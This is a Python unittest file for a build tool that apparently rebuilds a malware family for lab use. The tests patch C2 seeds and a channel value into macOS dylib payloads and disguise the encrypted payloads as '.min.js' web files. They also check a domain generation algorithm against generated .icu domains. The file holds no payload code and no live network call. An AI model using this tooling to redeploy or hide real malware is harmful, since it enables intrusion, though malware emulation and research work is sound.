263 lines
11 KiB
Python
263 lines
11 KiB
Python
#!/usr/bin/env python3
|
|
from __future__ import annotations
|
|
|
|
import json
|
|
import sys
|
|
import tempfile
|
|
import unittest
|
|
from pathlib import Path
|
|
|
|
TOOLS = Path(__file__).resolve().parents[1]
|
|
sys.path.insert(0, str(TOOLS))
|
|
|
|
from _details_pack import extract_member # noqa: E402
|
|
from _secondary_pack import decrypt_secondary_minjs # noqa: E402
|
|
import build as xxbb_build # noqa: E402
|
|
from reproduce_xxbb_dga import generate_domains # noqa: E402
|
|
|
|
|
|
class XxbbBuildTest(unittest.TestCase):
|
|
def test_patch_and_round_trip(self) -> None:
|
|
meta = json.loads((TOOLS / "secondary_keys.json").read_text())
|
|
dep = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
|
|
rep = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
|
|
channel_c = "cccccccccccccccccccccccccccccccc"
|
|
patched = {}
|
|
for group in ("A", "B", "C"):
|
|
path = xxbb_build.group_dylib_path(group)
|
|
data = xxbb_build.patch_dylib(
|
|
path.read_bytes(),
|
|
deployment_seed=dep,
|
|
reporting_seed=rep,
|
|
channel_c=channel_c,
|
|
label=path.name,
|
|
scheme="https",
|
|
)
|
|
self.assertEqual(data.count(dep.encode()), 1)
|
|
self.assertEqual(data.count(rep.encode()), 1)
|
|
self.assertEqual(data.count(channel_c.encode()), 1)
|
|
self.assertEqual(data.count(xxbb_build.ORIGINAL_DEP.encode()), 0)
|
|
self.assertEqual(data.count(xxbb_build.ORIGINAL_REP.encode()), 0)
|
|
self.assertEqual(data.count(xxbb_build.ORIGINAL_C.encode()), 0)
|
|
self.assertEqual(data.count(xxbb_build.SEVEN_ZIP_PASSWORD.encode()), 1)
|
|
patched[group] = data
|
|
|
|
for stem, info in meta["stems"].items():
|
|
key = bytes.fromhex(info["key"])
|
|
wire = __import__("_secondary_pack", fromlist=["encrypt_secondary_minjs"]).encrypt_secondary_minjs(
|
|
patched[info["group"]], key
|
|
)
|
|
out = decrypt_secondary_minjs(wire, key)
|
|
self.assertEqual(out, patched[info["group"]])
|
|
|
|
def test_apply_writes_shared_weifile_and_patched_details(self) -> None:
|
|
with tempfile.TemporaryDirectory() as tmp:
|
|
artifact = Path(tmp) / "public"
|
|
state = Path(tmp) / "state"
|
|
out = Path(tmp) / "out"
|
|
channel_c = "33333333333333333333333333333333"
|
|
argv = [
|
|
"build.py",
|
|
"--deployment-seed",
|
|
"11111111111111111111111111111111",
|
|
"--reporting-seed",
|
|
"11111111111111111111111111111111",
|
|
"--channel-c",
|
|
channel_c,
|
|
"--artifact-root",
|
|
str(artifact),
|
|
"--state-root",
|
|
str(state),
|
|
"--out",
|
|
str(out),
|
|
"--apply",
|
|
"--force",
|
|
]
|
|
old = sys.argv
|
|
try:
|
|
sys.argv = argv
|
|
self.assertEqual(xxbb_build.main(), 0)
|
|
finally:
|
|
sys.argv = old
|
|
weifile = artifact / "weifile"
|
|
details = artifact / "details"
|
|
self.assertTrue((weifile / "index.js").is_file())
|
|
self.assertTrue((weifile / "weifile.html").is_file())
|
|
self.assertFalse((artifact / "source").exists())
|
|
self.assertTrue((details / "show.html").is_file())
|
|
self.assertTrue((details / "corepayload.js").is_file())
|
|
self.assertTrue((details / "helion.js").is_file())
|
|
stem = "800d80e0fa1f2baf9a9e41169ecc88e18042bb17"
|
|
blob = (weifile / f"{stem}.min.js").read_bytes()
|
|
key = bytes.fromhex(json.loads((TOOLS / "secondary_keys.json").read_text())["stems"][stem]["key"])
|
|
dylib = decrypt_secondary_minjs(blob, key)
|
|
self.assertIn(b"11111111111111111111111111111111", dylib)
|
|
self.assertIn(channel_c.encode(), dylib)
|
|
self.assertIn(xxbb_build.SEVEN_ZIP_PASSWORD.encode(), dylib)
|
|
self.assertIn(b"https://%@\x00", dylib)
|
|
self.assertNotIn(b"http://%@\x00", dylib)
|
|
|
|
member, core = extract_member((details / "corepayload.js").read_bytes())
|
|
self.assertEqual(member, "corepayload.dylib")
|
|
self.assertEqual(core.count(channel_c.encode()), xxbb_build.CORE_C_EXPECT)
|
|
self.assertEqual(core.count(xxbb_build.ORIGINAL_C.encode()), 0)
|
|
|
|
show_member, show_plain = extract_member((details / "show.html").read_bytes())
|
|
self.assertEqual(show_member, "data.bin")
|
|
show = json.loads(show_plain.decode("utf-8"))
|
|
self.assertEqual(show["core"]["sha256"], xxbb_build.sha256_hex(core))
|
|
self.assertEqual(show["core"]["size"], len(core))
|
|
|
|
seeds = json.loads((state / "lab_seeds.json").read_text())
|
|
self.assertEqual(seeds["deployment_seed"], "11111111111111111111111111111111")
|
|
self.assertEqual(seeds["reporting_seed"], "11111111111111111111111111111111")
|
|
self.assertEqual(seeds["channel_c"], channel_c)
|
|
self.assertEqual(seeds["domains"]["deployment"][0], "syv4c2c8nb8fpzo.icu")
|
|
self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(seeds["domains"]["deployment"][0]))
|
|
|
|
manifest = json.loads((out / "MANIFEST.json").read_text())
|
|
self.assertEqual(manifest["weifile_path"], "/weifile/weifile.html")
|
|
self.assertEqual(manifest["details_path"], "/details/")
|
|
|
|
def test_seeds_generated_once_then_reused(self) -> None:
|
|
with tempfile.TemporaryDirectory() as tmp:
|
|
state = Path(tmp) / "state"
|
|
first = xxbb_build.resolve_seeds(
|
|
lab_seeds_path=state / "lab_seeds.json",
|
|
cli_dep=None,
|
|
cli_rep=None,
|
|
cli_c=None,
|
|
)
|
|
second = xxbb_build.resolve_seeds(
|
|
lab_seeds_path=state / "lab_seeds.json",
|
|
cli_dep=None,
|
|
cli_rep=None,
|
|
cli_c=None,
|
|
)
|
|
self.assertTrue(first[4])
|
|
self.assertFalse(second[4])
|
|
self.assertEqual(first[:3], second[:3])
|
|
self.assertEqual(first[3], second[3])
|
|
self.assertEqual(len(first[0]), 32)
|
|
self.assertEqual(len(first[1]), 32)
|
|
self.assertEqual(first[0], first[1])
|
|
self.assertEqual(first[2], xxbb_build.ORIGINAL_C)
|
|
self.assertEqual(len(first[3]["deployment"]), 5)
|
|
self.assertEqual(len(first[3]["reporting"]), 5)
|
|
self.assertEqual(first[3]["deployment"], first[3]["reporting"])
|
|
self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(first[3]["deployment"][0]))
|
|
self.assertEqual(first[3]["deployment"][0], "1i6cbgdyj3qdk88.icu")
|
|
|
|
def test_xxbb_dga_matches_native_pool(self) -> None:
|
|
self.assertEqual(
|
|
generate_domains("202700cfb1ad3de68e11239dcc26c30b", 5),
|
|
[
|
|
"1i6cbgdyj3qdk88.icu",
|
|
"avm2jnhejigb0ac.icu",
|
|
"hjlif8t069cfbn3.icu",
|
|
"os8yvsh2j1dv4mk.icu",
|
|
"gb53wymxxljkokf.icu",
|
|
],
|
|
)
|
|
self.assertEqual(
|
|
generate_domains("321fb0c812b46265421b5ad9654c2b81", 1),
|
|
["8fn4957c5g986jp.icu"],
|
|
)
|
|
|
|
def test_stale_lab_dga_cache_is_recomputed(self) -> None:
|
|
with tempfile.TemporaryDirectory() as tmp:
|
|
path = Path(tmp) / "lab_seeds.json"
|
|
path.write_text(
|
|
json.dumps(
|
|
{
|
|
"deployment_seed": "e8afcf657ad1d47256b33166f6469d6f",
|
|
"reporting_seed": "e8afcf657ad1d47256b33166f6469d6f",
|
|
"channel_c": xxbb_build.ORIGINAL_C,
|
|
"domains": {
|
|
"deployment": ["www.xa1qtof56-b1mdjth.cfd"],
|
|
"reporting": ["www.xa1qtof56-b1mdjth.cfd"],
|
|
},
|
|
}
|
|
)
|
|
)
|
|
dep, _rep, channel_c, domains, computed = xxbb_build.resolve_seeds(
|
|
lab_seeds_path=path,
|
|
cli_dep=None,
|
|
cli_rep=None,
|
|
cli_c=None,
|
|
)
|
|
self.assertTrue(computed)
|
|
self.assertEqual(dep, "e8afcf657ad1d47256b33166f6469d6f")
|
|
self.assertEqual(channel_c, xxbb_build.ORIGINAL_C)
|
|
self.assertEqual(domains["deployment"][0], "1i6cbgdyj3qdk88.icu")
|
|
saved = json.loads(path.read_text())
|
|
self.assertEqual(saved["domains"]["deployment"][0], "1i6cbgdyj3qdk88.icu")
|
|
|
|
def test_cli_seeds_must_match(self) -> None:
|
|
with tempfile.TemporaryDirectory() as tmp:
|
|
with self.assertRaises(SystemExit):
|
|
xxbb_build.resolve_seeds(
|
|
lab_seeds_path=Path(tmp) / "lab_seeds.json",
|
|
cli_dep="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
|
cli_rep="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",
|
|
cli_c=None,
|
|
)
|
|
|
|
def test_http_scheme_rewrites_url_formats(self) -> None:
|
|
path = xxbb_build.group_dylib_path("C")
|
|
raw = path.read_bytes()
|
|
https = xxbb_build.patch_dylib(
|
|
raw,
|
|
deployment_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
|
reporting_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
|
channel_c="cccccccccccccccccccccccccccccccc",
|
|
label=path.name,
|
|
scheme="https",
|
|
)
|
|
http = xxbb_build.patch_dylib(
|
|
raw,
|
|
deployment_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
|
reporting_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
|
channel_c="cccccccccccccccccccccccccccccccc",
|
|
label=path.name,
|
|
scheme="http",
|
|
)
|
|
self.assertIn(b"https://%@\x00", https)
|
|
self.assertIn(b"https://backup%u.icu\x00", https)
|
|
self.assertNotIn(b"http://%@\x00", https)
|
|
self.assertIn(b"http://%@\x00", http)
|
|
self.assertIn(b"http://backup%u.icu\x00", http)
|
|
self.assertNotIn(b"https://%@\x00", http)
|
|
self.assertNotIn(b"https://backup%u.icu\x00", http)
|
|
self.assertEqual(len(http), len(https))
|
|
|
|
def test_apply_works_without_channel_name(self) -> None:
|
|
with tempfile.TemporaryDirectory() as tmp:
|
|
artifact = Path(tmp) / "public"
|
|
state = Path(tmp) / "state"
|
|
argv = [
|
|
"build.py",
|
|
"--channel-c",
|
|
"33333333333333333333333333333333",
|
|
"--deployment-seed",
|
|
"11111111111111111111111111111111",
|
|
"--reporting-seed",
|
|
"11111111111111111111111111111111",
|
|
"--artifact-root",
|
|
str(artifact),
|
|
"--state-root",
|
|
str(state),
|
|
"--apply",
|
|
]
|
|
old = sys.argv
|
|
try:
|
|
sys.argv = argv
|
|
self.assertEqual(xxbb_build.main(), 0)
|
|
finally:
|
|
sys.argv = old
|
|
self.assertTrue((artifact / "weifile" / "weifile.html").is_file())
|
|
|
|
|
|
if __name__ == "__main__":
|
|
unittest.main()
|